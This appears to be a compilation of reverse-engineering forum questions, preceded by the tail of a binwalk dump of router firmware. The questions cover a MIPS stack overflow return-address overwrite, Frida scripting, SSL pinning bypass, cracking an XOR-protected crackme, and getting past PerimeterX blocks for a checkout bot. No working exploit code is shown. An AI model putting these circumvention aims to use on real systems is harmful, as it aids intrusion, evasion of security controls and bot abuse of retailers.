path: /var/tmp/ppp/process.tmp 1928127       0x1D6BBF        Unix
path: /var/tmp/ppp 1929575       0x1D7167        Unix path:
/home/duanyuanyuan/wk_use/wangkai/Builds_/ZXHN_ZY279128-f680v6.0/csp/packages/scripts/../wlan/csp/cspd/source/wlan_config.c
1931643       0x1D797B        Unix path:
/home/duanyuanyuan/wk_use/wangkai/Builds_/ZXHN_ZY279128-f680v6.0/csp/packages/scripts/../wlan/csp/cspd/source/wlan_manage.c
1934553       0x1D84D9        Neighborly text,
"neighbor_listan_multiap_get_sta_status" 1934699       0x1D856B
Unix path:
/home/duanyuanyuan/wk_use/wangkai/Builds_/ZXHN_ZY279128-f680v6.0/csp/packages/scripts/../wlan/csp/cspd/source/wlan_multiap.c
1935018       0x1D86AA        Neighborly text, "neighbor_list
error!_multiap_stastat error!" 1945950       0x1DB15E        Unix
path: /var/tmp/special_resolv.conf 1981810       0x1E3D72        Unix
path:
/home/duanyuanyuan/wk_use/wangkai/Builds_/ZXHN_ZY279128-f680v6.0/csp/packages/scripts/../wlan/csp/cspd/source/wlan_comm.c
1984101       0x1E4665        Unix path:
/home/duanyuanyuan/wk_use/wangkai/Builds_/ZXHN_ZY279128-f680v6.0/csp/packages/scripts/../wlan/csp/cspd/source/wlan_diagnose.c 1986051       0x1E4E03        Unix path:
/home/duanyuanyuan/wk_use/wangkai/Builds_/ZXHN_ZY279128-f680v6.0/csp/packages/scripts/../wlan/csp/cspd/source/wlan_diagnose_show
1992252       0x1E663C        SHA256 hash constants, little endian
1993566       0x1E6B5E        Unix path: /var/tmp/unsign-cfg 1995800
0x1E7418        Unix path: /var/tmp/db_src_ 1996202       0x1E75AA
Unix path: /var/tmp/db_backup_cfg.bin 1998469       0x1E7E85
Unix path: /var/tmp/db_reload_cfg.xml 1998869       0x1E8015
Unix path: /var/tmp/db_user_cfg.bin 1999215       0x1E816F        Unix
path: /var/tmp/db_backup_cfg.xml 1999265       0x1E81A1        Unix
path: /var/tmp/db_Decry_cfg.xml 1999375       0x1E820F        Unix
path: /var/tmp/sign-cfg 1999810       0x1E83C2        Unix path:
/var/tmp/unsign_cfg.bin 2000224       0x1E8560        Unix path:
/var/tmp/unversion_cfg.bin 2027276       0x1EEF0C        Digi
International firmware, load address: 0x00494D53, entry point:
0x54797065, 2027715       0x1EF0C3        Digi International firmware,
load address: 0x4C494451, entry point: 0x44696769, 2027728
0x1EF0D0        Digi International firmware, load address: 0x00534C49,
entry point: 0x6461696C, 2027743       0x1EF0DF        Digi
International firmware, load address: 0x69740044, entry point:
0x6F6E6546, 2030630       0x1EFC26        Unix path:
/etc/hardcodefile/wlan 2034963       0x1F0D13        Unix path:
/etc/hardcodefile/tr069 2041395       0x1F2633        Unix path:
/home/duanyuanyuan/wk_use/wangkai/Builds_/ZXHN_ZY279128-f680v6.0/csp/packages/scripts/../voip/adaptor/database/source/dbc_def_vo
2049880       0x1F4758        Copyright string: "Copyright 1995-2017
Jean-loup Gailly and Mark Adler " 2052760       0x1F5298        CRC32
polynomial table, little endian 2056856       0x1F6298        CRC32
polynomial table, big endian 2063896       0x1F7E18        Copyright
string: "Copyright 1995-2017 Mark Adler " 2064920       0x1F8218
Unix path: /etc/hardcodefile/webpri 2065414       0x1F8406        Unix
path: /etc/hardcodefile/oss 2073800       0x1FA4C8        Unix path:
/var/tmp/Tr069ClearEnvflag 2112546       0x203C22        Unix path:
/home/duanyuanyuan/wk_use/wangkai/Builds_/ZXHN_ZY279128-f680v6.0/csp/include/csp/app/csp_qos_qcappset.h
2442360       0x254478        Neighborly text, "neighbor_list" 2534577
0x26ACB1        Neighborly text, "neighbor_listnewSend"
</code>```


问:
Find location to override PC by stack frame with stackoverflow
I have stackoverflow in MIPS arch (without ASLR/canary)

In Ida I see that the buffer that has the overflow located in SP+200

In the beginning if function I can see the stack size because I see the command

```<code>addiu $sp, -4000
</code>```

So I guess the stack frame on this function is 4000

If I want to override the PC register (when the function is return) , should I need to write to buffer 4000 (stack frame) -200(location of buffer in stack) ? Because the address is decrement is stack?


问:
Need help injecting SSID into Momentum app checking for device wifi

Hello so I'm trying to add a device onto my Genymotion emulated device

but to add it the app needs to detect the AP. this is the logcat of just the apps logs

If anyone can help let me know im trying to find how to inject that the SSID was matched.


问:
frida cant cast string array to java.lang.object
i have a java method i am trying to call manually

public static native Object a(int i, int i2, long j, String str, Object obj);

the last parameter is a string list casted to java.lang.object the way java code does it is by using the arraylist.toArray(new String[0]) which returns a "<instance: java.lang.Object, $className: [Ljava.lang.String;>" i tried every single way to replicate this variable using frida and i failed

this is the code i tried

```<code>var s = Java.array("java.lang.String", ["e"])
var k = Java.cast(s, Java.use("java.lang.Object"))
</code>```

this results in

```<code>Error: expected a pointer
    at <anonymous> (frida/node_modules/frida-java-bridge/lib/env.js:165)
    at apply (native)
    at <anonymous> (frida/node_modules/frida-java-bridge/lib/env.js:97)
    at cast (frida/node_modules/frida-java-bridge/lib/class-factory.js:131)
    at cast (frida/node_modules/frida-java-bridge/index.js:270)
    at <anonymous> (/frida/repl-2.js:25)
    at <anonymous> (frida/node_modules/frida-java-bridge/lib/vm.js:12)
    at _performPendingVmOps (frida/node_modules/frida-java-bridge/index.js:250)
    at <anonymous> (frida/node_modules/frida-java-bridge/index.js:225)
    at <anonymous> (frida/node_modules/frida-java-bridge/lib/vm.js:12)
    at _performPendingVmOpsWhenReady (frida/node_modules/frida-java-bridge/index.js:244)
    at perform (frida/node_modules/frida-java-bridge/index.js:204)
    at <anonymous> (/frida/repl-2.js:186)
</code>```

i also tried this

```<code>var e = ["a"]
const arrayList = Java.use("java.util.ArrayList")
const arr = arrayList.$new()
for (var i = 0; i <= e.length; i++){
    if (e[i]){
        arr.add(e[i]);
    }
}
var s = arr.toArray()
</code>```

which returns ["<instance: java.lang.Object, $className: java.lang.String>","<instance: java.lang.Object, $className: java.lang.String>"]

this casts every single element in the array to a java.lang.object instead of the array object itself when i pass this to the method as a parameter i get the same error as above Error: expected a pointer

i also tried passing a Java.array("java.lang.String", []) to .toArray() method and it raises the same error

1)is there a way to call this method using frida??

2)can i create a .so library with a function that casts my array to java.lang.object and inject it into the app or something along these lines?


问:
Need help with modifying DOS game extracting graphics codes
I have the following two Codes which make up a DOS Game Graphics Image Extracting Program, written in C# :-

```<code>using System;
using System.Collections.Generic;
using System.Text;
using System.IO;

namespace Unpac {
class Program {

    //_____________________________________________________________________
    static string       input_filename_no_ext;
    static int          current_output_index;
    static string       output_directory;
    static List<byte>   output_buffer;
    static int          image_height;
    static int          line_min_length;
    static int          line_max_length;

    //_____________________________________________________________________
    static void Main(string[] args) {

        int?        forced_image_width;
        string      input_fullpath;
        string      input_directory;
        string      input_filename;
        byte[]      input_data;
        long        input_max_valid_position;
        long        current_input_position;
        byte        input_byte;
        byte        RLE_sumador;
        int         count;
        byte        b;
        int         n;
        bool        RLE_FC_swap;
        byte        b2;
        int         width_current;

        if(args.Length<2) {
            Console.WriteLine("Use: unpac.exe <InputFile.pac> <OutputDir> [ImageWidth]");
            return;
        }

        if(args.Length>2) {
            forced_image_width = int.Parse(args[2]);
        } else {
            forced_image_width = null;
        }

        try {
            input_fullpath      = Path.GetFullPath(args[0]);
            input_directory     = Path.GetDirectoryName(input_fullpath);
            input_filename      = Path.GetFileName(input_fullpath);

            input_fullpath      = Path.Combine(input_directory, input_filename);
            if(!File.Exists(input_fullpath)) throw new Exception();

            int p = input_filename.LastIndexOf('.');
            if(p==-1) {
                input_filename_no_ext = input_filename;
            } else {
                input_filename_no_ext = input_filename.Substring(0, p);
            }

        } catch {
            Console.WriteLine("ERROR: invalid input file");
            return;
        }

        try {
            output_directory = Path.GetFullPath(args[1]);
            if(!Directory.Exists(output_directory)) {
                Directory.CreateDirectory(output_directory);
            }
        } catch {
            Console.WriteLine("ERROR: invalid output directory");
            return;
        }

        try {
            input_data = File.ReadAllBytes(input_fullpath);
        } catch {
            Console.WriteLine("ERROR: cannot read from input file");
            return;
        }

        Console.WriteLine($"{input_filename}");

        input_max_valid_position    = input_data.Length - 1;
        current_input_position      = 0;
        current_output_index        = 1;
        output_buffer               = new List<byte>();

        RLE_sumador                 = 0;
        line_min_length             = int.MaxValue;
        line_max_length             = 0;
        width_current               = 0;
        image_height                = 0;

        while(current_input_position <= input_max_valid_position) {

            input_byte = input_data[current_input_position];
            current_input_position++;

            if(input_byte == 0xFF) {
                //==============
                // Fin de chunk
                //==============
                Save();
                current_output_index++;

                RLE_sumador         = 0;
                line_min_length     = int.MaxValue;
                line_max_length     = 0;
                width_current       = 0;
                image_height        = 0;

            } else if(input_byte == 0xFE) {
                //=================
                // Siguiente linea
                //=================
                if(width_current < line_min_length) line_min_length = width_current;
                if(width_current > line_max_length) line_max_length = width_current;

                if(forced_image_width!=null) {
                    count = forced_image_width.Value - width_current;
                    if(count > 0) {
                        for(n=0; n<count; n++) {
                            output_buffer.Add(0);
                        }
                    }
                }

                image_height++;
                width_current = 0;

            } else if(input_byte == 0xFD) {
                count = (int) (input_data[current_input_position]) + 1;
                current_input_position++;

                b = input_data[current_input_position];
                current_input_position++;

                for(n=0; n<count; n++) {
                    output_buffer.Add(b);
                }

                width_current += count;

            } else if(input_byte == 0xFC) {
                b = input_data[current_input_position];
                current_input_position++;

                b2 = (byte)(b + 1);

                count = (int) (input_data[current_input_position]) + 1;
                current_input_position++;

                RLE_FC_swap = false;
                for(n=0; n<count; n++) {
                    output_buffer.Add(
                        RLE_FC_swap ? b2 : b
                    );
                    RLE_FC_swap = !RLE_FC_swap;
                }

                width_current += count;

            } else if(input_byte == 0xFB) {
                RLE_sumador = input_data[current_input_position];
                current_input_position++;

            } else {
                b = (byte)(input_byte >> 2);
                b += RLE_sumador;
                count = (input_byte & 3) + 1;

                for(n=0; n<count; n++) {
                    output_buffer.Add(b);
                }

                width_current += count;
            }
        }

        Save();
    }

    //_____________________________________________________________________
    static void Save() {

        if(output_buffer.Count == 0) return;

        string  output_filename;
        string  output_fullpath;
        byte[]  output_array;
        int     output_length;
        bool    is_valid_image;

        output_filename = $"{input_filename_no_ext}.{current_output_index:D3}";
        output_fullpath = Path.Combine(output_directory, output_filename);
        output_array    = output_buffer.ToArray();
        output_length   = output_array.Length;
        is_valid_image  = false;

        if(image_height > 0) {
            if(line_min_length != line_max_length) {
                Console.WriteLine($" -> {output_filename} ({output_length}) (min width:{line_min_length}) (max width:{line_max_length}) (height:{image_height})");
            } else {
                Console.WriteLine($" -> {output_filename} ({output_length}) (width:{line_min_length}) (height:{image_height})");
                is_valid_image = true;
            }
        } else {
            Console.WriteLine($" -> {output_filename} ({output_length})");
        }

        try {
            if(is_valid_image) {
                Bitmap.Save(output_fullpath + ".bmp", output_array, line_min_length, image_height);
            } else {
                File.WriteAllBytes(output_fullpath, output_array);
            }
        } catch {
            Console.WriteLine("ERROR: cannot save to output file");
        }

        output_buffer.Clear();
    }

}
}
</code>```

And :-

```<code>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Unpac {
public static class Bitmap {

    private static byte[]           Header;
    private readonly static byte[]  Paleta;

    static Bitmap() {
        Header = new byte[0x436];
        Header[0] = 0x42;
        Header[1] = 0x4D;
        Header[0xA] = 0x36;
        Header[0xB] = 0x04;
        Header[0xE] = 0x28;
        Header[0x1A] = 1;
        Header[0x1C] = 8;
        Header[0x26] = 0x12;
        Header[0x27] = 0x0B;
        Header[0x2A] = 0x12;
        Header[0x2B] = 0x0B;

        // Grayscale palette
        int dst_pos = 0x36;
        int color;
        for(color=0; color<0x100; color++) {
            Header[dst_pos++] = (byte) (color << 2);
            Header[dst_pos++] = (byte) (color << 2);
            Header[dst_pos++] = (byte) (color << 2);
            dst_pos++;
        }

        /*Paleta = new byte[] {
            0x00, 0x00, 0x00, 0x02, 0x02, 0x02, 0x05, 0x05, 0x05, 0x08, 0x08, 0x08, 0x0A, 0x0A, 0x0A, 0x0D,
            0x0D, 0x0D, 0x10, 0x10, 0x10, 0x13, 0x13, 0x13, 0x16, 0x16, 0x16, 0x19, 0x19, 0x19, 0x1C, 0x1C,
            0x1C, 0x1F, 0x1F, 0x1F, 0x22, 0x22, 0x22, 0x25, 0x25, 0x25, 0x27, 0x27, 0x27, 0x2A, 0x2A, 0x2A,
            0x2D, 0x2D, 0x2D, 0x30, 0x30, 0x30, 0x33, 0x33, 0x33, 0x36, 0x36, 0x36, 0x39, 0x39, 0x39, 0x3C,
            0x3C, 0x3C, 0x3F, 0x3F, 0x3F, 0x19, 0x3F, 0x19, 0x0F, 0x32, 0x0F, 0x08, 0x25, 0x08, 0x03, 0x19,
            0x03, 0x39, 0x0C, 0x0C, 0x2E, 0x06, 0x06, 0x23, 0x01, 0x01, 0x18, 0x00, 0x00, 0x15, 0x3F, 0x3F,
            0x00, 0x00, 0x00, 0x3F, 0x3F, 0x3F, 0x2C, 0x00, 0x00, 0x00, 0x17, 0x00, 0x3F, 0x38, 0x1F, 0x3C,
            0x34, 0x1A, 0x39, 0x30, 0x16, 0x36, 0x2C, 0x12, 0x33, 0x28, 0x0E, 0x31, 0x24, 0x0B, 0x2E, 0x20,
            0x08, 0x2B, 0x1D, 0x05, 0x28, 0x19, 0x03, 0x25, 0x16, 0x01, 0x23, 0x13, 0x00, 0x19, 0x27, 0x2E,
            0x18, 0x18, 0x18, 0x1E, 0x1E, 0x1E, 0x0B, 0x0B, 0x0B, 0x2A, 0x00, 0x2A, 0x2A, 0x00, 0x2A, 0x2A,
            0x00, 0x2A, 0x2A, 0x00, 0x2A, 0x2A, 0x00, 0x2A, 0x2A, 0x00, 0x2A, 0x2A, 0x00, 0x2A, 0x2A, 0x00,
            0x2A, 0x2A, 0x00, 0x2A, 0x2A, 0x00, 0x2A, 0x2A, 0x00, 0x2A, 0x2A, 0x00, 0x2A, 0x2A, 0x00, 0x2A,
            0x1E, 0x20, 0x20, 0x12, 0x12, 0x12, 0x10, 0x10, 0x10, 0x0F, 0x0F, 0x0F, 0x0E, 0x0E, 0x0E, 0x0D,
            0x0D, 0x0D, 0x0C, 0x0C, 0x0C, 0x0B, 0x0B, 0x0B, 0x00, 0x0C, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x08,
            0x00, 0x00, 0x06, 0x00, 0x0B, 0x0C, 0x06, 0x0A, 0x0B, 0x06, 0x09, 0x0A, 0x06, 0x06, 0x06, 0x00,
            0x09, 0x0A, 0x0A, 0x0D, 0x0D, 0x0D, 0x12, 0x12, 0x12, 0x19, 0x19, 0x19, 0x2B, 0x02, 0x00, 0x33,
            0x1A, 0x06, 0x39, 0x2B, 0x0C, 0x3C, 0x33, 0x0F, 0x02, 0x11, 0x03, 0x07, 0x16, 0x06, 0x0F, 0x1B,
            0x0D, 0x2F, 0x19, 0x12, 0x31, 0x31, 0x31, 0x35, 0x35, 0x35, 0x3A, 0x3A, 0x3A, 0x3F, 0x3F, 0x3F,
            0x31, 0x3D, 0x3D, 0x2E, 0x3D, 0x3D, 0x2B, 0x3D, 0x3D, 0x28, 0x3D, 0x3D, 0x22, 0x3D, 0x3D, 0x1A,
            0x3D, 0x3D, 0x17, 0x3B, 0x3D, 0x17, 0x39, 0x3D, 0x16, 0x38, 0x3D, 0x15, 0x37, 0x3D, 0x14, 0x36,
            0x3D, 0x12, 0x34, 0x3D, 0x14, 0x28, 0x12, 0x00, 0x22, 0x0A, 0x00, 0x20, 0x09, 0x00, 0x1F, 0x08,
            0x00, 0x1E, 0x07, 0x00, 0x1D, 0x06, 0x00, 0x1C, 0x05, 0x00, 0x1B, 0x04, 0x0E, 0x18, 0x2D, 0x00,
            0x12, 0x22, 0x00, 0x11, 0x21, 0x00, 0x10, 0x20, 0x00, 0x0F, 0x1F, 0x00, 0x0E, 0x1E, 0x00, 0x0D,
            0x1D, 0x00, 0x0C, 0x1C, 0x0F, 0x23, 0x0E, 0x01, 0x1A, 0x05, 0x00, 0x19, 0x04, 0x00, 0x18, 0x03,
            0x00, 0x17, 0x02, 0x00, 0x16, 0x01, 0x00, 0x15, 0x00, 0x00, 0x14, 0x00, 0x13, 0x27, 0x15, 0x00,
            0x1F, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x1D, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x1B, 0x00, 0x00, 0x1A,
            0x00, 0x00, 0x19, 0x00, 0x22, 0x22, 0x22, 0x18, 0x18, 0x17, 0x16, 0x16, 0x16, 0x15, 0x15, 0x15,
            0x14, 0x14, 0x14, 0x13, 0x13, 0x13, 0x12, 0x12, 0x12, 0x11, 0x11, 0x11, 0x11, 0x25, 0x13, 0x00,
            0x1D, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x1B, 0x00, 0x00, 0x1A, 0x00, 0x00, 0x19, 0x00, 0x00, 0x18,
            0x00, 0x00, 0x17, 0x00, 0x0A, 0x06, 0x00, 0x0E, 0x09, 0x00, 0x0F, 0x0C, 0x00, 0x13, 0x0F, 0x00,
            0x19, 0x14, 0x00, 0x1A, 0x16, 0x00, 0x22, 0x1C, 0x12, 0x26, 0x22, 0x18, 0x2A, 0x2B, 0x1D, 0x20,
            0x21, 0x0A, 0x1E, 0x1F, 0x08, 0x1D, 0x1E, 0x07, 0x1C, 0x1D, 0x06, 0x1B, 0x1C, 0x06, 0x1A, 0x1B,
            0x06, 0x19, 0x1A, 0x06, 0x1B, 0x00, 0x00, 0x15, 0x00, 0x00, 0x20, 0x0A, 0x00, 0x1C, 0x08, 0x00,
            0x04, 0x16, 0x09, 0x06, 0x1A, 0x0B, 0x09, 0x1C, 0x0D, 0x0A, 0x21, 0x2D, 0x06, 0x1C, 0x2E, 0x2B,
            0x29, 0x35, 0x26, 0x25, 0x34, 0x2F, 0x2D, 0x36, 0x00, 0x12, 0x09, 0x38, 0x38, 0x38, 0x00, 0x0E,
            0x08, 0x0A, 0x21, 0x22, 0x06, 0x1C, 0x1C, 0x2B, 0x29, 0x35, 0x26, 0x25, 0x34, 0x2F, 0x2D, 0x36,
            0x00, 0x0E, 0x00, 0x04, 0x15, 0x04, 0x00, 0x18, 0x00, 0x08, 0x1D, 0x08, 0x1E, 0x20, 0x32, 0x2B,
            0x29, 0x35, 0x3F, 0x15, 0x3F, 0x32, 0x00, 0x32, 0x08, 0x0E, 0x00, 0x0A, 0x11, 0x04, 0x11, 0x13,
            0x00, 0x16, 0x18, 0x00, 0x23, 0x23, 0x1D, 0x2A, 0x29, 0x24, 0x3F, 0x15, 0x3F, 0x32, 0x00, 0x32,
            0x03, 0x13, 0x07, 0x05, 0x17, 0x0A, 0x08, 0x1A, 0x0C, 0x0A, 0x1D, 0x0E, 0x1A, 0x2C, 0x3F, 0x14,
            0x28, 0x3F, 0x00, 0x26, 0x3F, 0x3F, 0x15, 0x3F, 0x05, 0x0B, 0x05, 0x00, 0x0A, 0x00, 0x00, 0x12,
            0x00, 0x00, 0x15, 0x00, 0x1D, 0x23, 0x23, 0x1A, 0x1F, 0x1F, 0x16, 0x1A, 0x19, 0x3F, 0x15, 0x3F,
            0x10, 0x14, 0x00, 0x12, 0x18, 0x00, 0x0F, 0x11, 0x00, 0x25, 0x25, 0x2A, 0x21, 0x21, 0x27, 0x21,
            0x21, 0x26, 0x06, 0x0D, 0x00, 0x0B, 0x0F, 0x00, 0x30, 0x30, 0x36, 0x2A, 0x2C, 0x30, 0x27, 0x2A,
            0x2D, 0x29, 0x29, 0x2E, 0x25, 0x25, 0x2B, 0x26, 0x26, 0x2B, 0x30, 0x32, 0x3C, 0x34, 0x35, 0x3F,
            0x00, 0x00, 0x00, 0x00, 0x0C, 0x20, 0x00, 0x20, 0x00, 0x0E, 0x0E, 0x0E, 0x28, 0x00, 0x00, 0x10,
            0x14, 0x00, 0x0A, 0x0A, 0x0A, 0x29, 0x29, 0x29, 0x0F, 0x0F, 0x0F, 0x00, 0x22, 0x2E, 0x00, 0x2C,
            0x00, 0x00, 0x39, 0x39, 0x39, 0x00, 0x00, 0x38, 0x28, 0x00, 0x3F, 0x34, 0x00, 0x3F, 0x3F, 0x3F
        };

        int src_pos = 0;
        int dst_pos = 0x36;
        int color;
        for(color=0; color<0x100; color++) {
            Header[dst_pos++] = (byte) (Paleta[src_pos++] << 2);
            Header[dst_pos++] = (byte) (Paleta[src_pos++] << 2);
            Header[dst_pos++] = (byte) (Paleta[src_pos++] << 2);
            dst_pos++;
        }*/

        /*Paleta2 = new byte[] {
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x03, 0x03,
            0x03, 0x04, 0x04, 0x04, 0x05, 0x05, 0x05, 0x06, 0x06, 0x06, 0x07, 0x07, 0x07, 0x08, 0x08, 0x08,
            0x09, 0x09, 0x09, 0x0A, 0x0A, 0x0A, 0x0B, 0x0B, 0x0B, 0x0C, 0x0C, 0x0C, 0x0D, 0x0D, 0x0D, 0x0E,
            0x0E, 0x0E, 0x0F, 0x0E, 0x0E, 0x10, 0x0F, 0x0F, 0x11, 0x10, 0x10, 0x12, 0x11, 0x11, 0x13, 0x12,
            0x12, 0x14, 0x13, 0x13, 0x15, 0x14, 0x14, 0x16, 0x15, 0x15, 0x17, 0x16, 0x16, 0x18, 0x17, 0x17,
            0x19, 0x18, 0x18, 0x1A, 0x18, 0x18, 0x1B, 0x19, 0x19, 0x1C, 0x1A, 0x1A, 0x1D, 0x1B, 0x1B, 0x1E,
            0x1C, 0x1C, 0x1F, 0x1D, 0x1D, 0x20, 0x1E, 0x1E, 0x21, 0x1F, 0x1F, 0x22, 0x20, 0x20, 0x23, 0x21,
            0x21, 0x24, 0x22, 0x22, 0x25, 0x23, 0x23, 0x26, 0x24, 0x24, 0x27, 0x24, 0x24, 0x28, 0x25, 0x25,
            0x29, 0x26, 0x26, 0x2A, 0x27, 0x27, 0x2B, 0x28, 0x28, 0x2C, 0x29, 0x29, 0x2D, 0x2A, 0x2A, 0x2E,
            0x2B, 0x2B, 0x2F, 0x2C, 0x2C, 0x30, 0x2D, 0x2D, 0x31, 0x2E, 0x2E, 0x32, 0x2E, 0x2E, 0x33, 0x30,
            0x30, 0x35, 0x30, 0x30, 0x36, 0x31, 0x31, 0x37, 0x32, 0x32, 0x38, 0x33, 0x33, 0x39, 0x34, 0x34,
            0x3A, 0x35, 0x35, 0x3B, 0x36, 0x36, 0x3C, 0x37, 0x37, 0x3D, 0x38, 0x38, 0x3E, 0x39, 0x39, 0x3F
        };

        src_pos = 0;
        dst_pos = 0x36;
        for(color=0; color<64; color++) {
            Header[dst_pos++] = (byte) (Paleta2[src_pos++] << 2);
            Header[dst_pos++] = (byte) (Paleta2[src_pos++] << 2);
            Header[dst_pos++] = (byte) (Paleta2[src_pos++] << 2);
            dst_pos++;
        }*/
    }

    public static bool Save(string filename, byte[] image_data, int width, int height) {

        byte[]  output_array;
        int     image_length;
        int     file_size;
        int     width_dword_align_padding;
        int     width_virtual;
        bool    fix_alignment;
        int     n;
        int     pos_src, pos_dst;

        width_dword_align_padding = 4 - (width & 3);
        width_virtual = width;
        if(width_dword_align_padding != 4) width_virtual += width_dword_align_padding;
        fix_alignment = width != width_virtual;

        try {
            image_length    = width_virtual * height;
            file_size       = 0x436 + image_length;
            output_array    = new byte[file_size];

            // Header
            System.Buffer.BlockCopy(Header, 0, output_array, 0, 0x436);
            // Header File size
            System.Buffer.BlockCopy(BitConverter.GetBytes(file_size), 0, output_array, 2, 4);
            // Header image width
            System.Buffer.BlockCopy(BitConverter.GetBytes(width), 0, output_array, 0x12, 4);
            // Header image height
            System.Buffer.BlockCopy(BitConverter.GetBytes(0 - height), 0, output_array, 0x16, 4);

            if(fix_alignment) {
                pos_src = 0;
                pos_dst = 0x436;
                for(n=0; n<height; n++) {
                    System.Buffer.BlockCopy(image_data, pos_src, output_array, pos_dst, width);
                    pos_src += width;
                    pos_dst += width_virtual;
                }

            } else {
                System.Buffer.BlockCopy(image_data, 0, output_array, 0x436, image_length);
            }

            System.IO.File.WriteAllBytes(filename, output_array);
        } catch {
            return false;
        }

        return true;
    }

}

}
</code>```

The Codes were written by someone else for me, and I have permission from him, to post them here. The DOS Game uses custom RLE Graphics Encoding. He was unable, to fully explain how the Codes work.

The first Code Program.cs written in C# extracts the Graphics Image, from a Graphics File, and the Bitmap.cs Code i.e. the second one saves the image as a .bmp bitmap File so it can be viewed. According to the person who wrote both Codes, the image width and height is guessed, rather than being known.

However I tried the Codes i.e. unpac Program on a game the previous one made, which also uses Custom RLE Graphics encoding and the Graphics images from .PAC Files don't extract properly. i.e. the Aircraft Cockpit view Image.

What I have tried :-

I tried changing the input bytes in the Program.cs Code, i.e. 0xFF to 0xFE for example in the first part based on what I saw, after opening a File in a Hex Editor its the

```<code>input_byte == 0x
</code>```

parts of the code, which I think need amending.

But nothing useful is extracted, when I use the Program, on the relevant Files from the forerunner game, after making that change. Could someone look at the Program.cs Code for me, i.e. the first one posted by me here ? and suggest what I could change in the Code, to achieve an extracted image, i.e. what I should be looking for when I open relevant Files in a Hex Editor ?

I will post Google Drive links to one File that the cockpit view image that Extracts properly and one that doesn't from the forerunner game. Could someone look at those Files in a Hex editor For me, and suggest what amendments I could make to the Program.cs Code ?

Here are two links the first File extracts properly giving a cockpit view Image, the second one doesn't :-

https://drive.google.com/file/d/1Cr3IV6DkQPYBfPC0HdT6xloFQdimUW12/view?usp=sharing

https://drive.google.com/file/d/15EJUGYYoHPk9VJzNRDgL04LaNZ3XnCEj/view?usp=sharing

I believe it is this part, of the Program.cs Code, that needs changing, i.e. where the problem lies, with unsuccessful extraction of Files, to .bmp format. Could someone look at the File that doesn't extract properly and the one that does, and suggest what possible amendments, I need to make to the two codes I posted, i.e. things to try ? can anyone understand the logic ?

Any help would be much appreciated

Regards

Eddie Winch


问:
SSL Pinning React Native
I'm trying to remove SSL pinning with Android device.

I've tried different techniques like hooking the app with Objection, re-pinning with Frida, using the SSLUnpinning app from the Xposed repo, etc. but nothing seemed to work.

The library used is React (RNPinningSsl), below the decription:
https://github.com/nlt2390/react-native-pinning-ssl/blob/master/android/src/main/java/com/reactlibrary/RNPinningSsl.java

The only thing left for me to do is write a custom javascript and start it with frida. Unfortunately I'm not very good at this and I wanted to ask if you can help me do it.

Thank you very much to anyone who will help me.

Title: SSL Pinning React Native


问:
How would I crack a software that has Xor encryption
So, before you shout at me to go on google I would just like to say I am new to reverse Engineering. Like I have been doing it for a hour. So, I was doing a bunch of crackmes.one using the search all string references and changing it to always say yes. But then I run into this software: https://crackmes.one/crackme/63445b9533c5d4425e2cd7cf I treat it like any other use die and see that it is unpacked. But when I search for the string nothing pops up. I am guessing this is because of the Xor encryption. How would I decrypt software (if that's the right term)? and for future cases when I don't get told the encryption method how would I be able to tell?</p>


问:
Generating specific request cookies for a website
I have a script that autocheckouts products on a website (bot), recently the site seemed to update something and I keep getting 403 blocks(Perimeter X). My old solution was simply to rotate and brute force with unblocked proxies but now with proxies working fine in my browser I cannot get the proper request cookies sorted out to get a response (Checkout flow).

Any methods to try and be able to access the request cookies? Or must I locate the site scripts and try and generate them there? Thanks in advance